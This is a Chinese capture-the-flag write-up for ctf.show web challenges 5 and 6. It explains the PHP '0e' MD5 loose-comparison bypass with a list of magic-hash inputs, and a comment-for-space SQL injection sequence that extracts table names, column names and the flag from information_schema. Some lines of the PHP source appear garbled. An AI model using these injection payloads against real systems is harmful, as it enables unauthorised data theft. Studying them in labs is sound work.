CTFshow-web(5-6)


  1. 一、web05
  2. 二、web06

@TOC


一、web05

在这里插入图片描述
源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);

?>
<html lang="zh-CN">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_web5</title>
</head>
<body>
<center>
<h2>ctf.show_web5</h2>
<hr>
<h3>
</center>
<?php
$flag="";
MATHJAX-SSR-0_GET['v1'];
MATHJAX-SSR-1_GET['v2'];
if(isset(MATHJAX-SSR-2v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5(MATHJAX-SSR-3v2)){
echo $flag;
}
}else{

echo "where is flag?";
}
?>

</body>
</html>
1
2
if(md5(MATHJAX-SSR-4v2)){
echo $flag;

对代码进行解读,可以看到 v1为字符形式, v2为数字形式,并且二者的值必须相等
在这里涉及到了一个知识:==MD5 compare漏洞==看一下这是什么

  • PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

参考常见的payload有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x01 md5(str)
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
sha1(str)
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')

0x02 md5(md5(str)."SALT")
2

构造本题的payload: ?v1=QNKCDZO&v2=240610708
在这里插入图片描述
知识点参考PHP 函数漏洞总结

二、web06

在这里插入图片描述
是不是很相似呢,是的!本题与第二关是相同的类型,考察的都是POST注入 只不过在本关存在过滤在这里插入图片描述
经过测试发现该关是将空格符号过滤掉了🤬🤬在本关可以使用/**/对空格进行代替

其他均与第二关相似
payload:

1
2
3
4
5
11'/**/or/**/1=1/**/union/**/select/**/1,2,3#
2、1'or/**/1=1/**/union/**/select/**/1,database(),3#
31'/**/or/**/1=1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#
4、1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
51'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#

回显
在这里插入图片描述
表名
在这里插入图片描述
列名
在这里插入图片描述
字段
在这里插入图片描述
字段内容
在这里插入图片描述

page PV:  ・  site PV:  ・  site UV: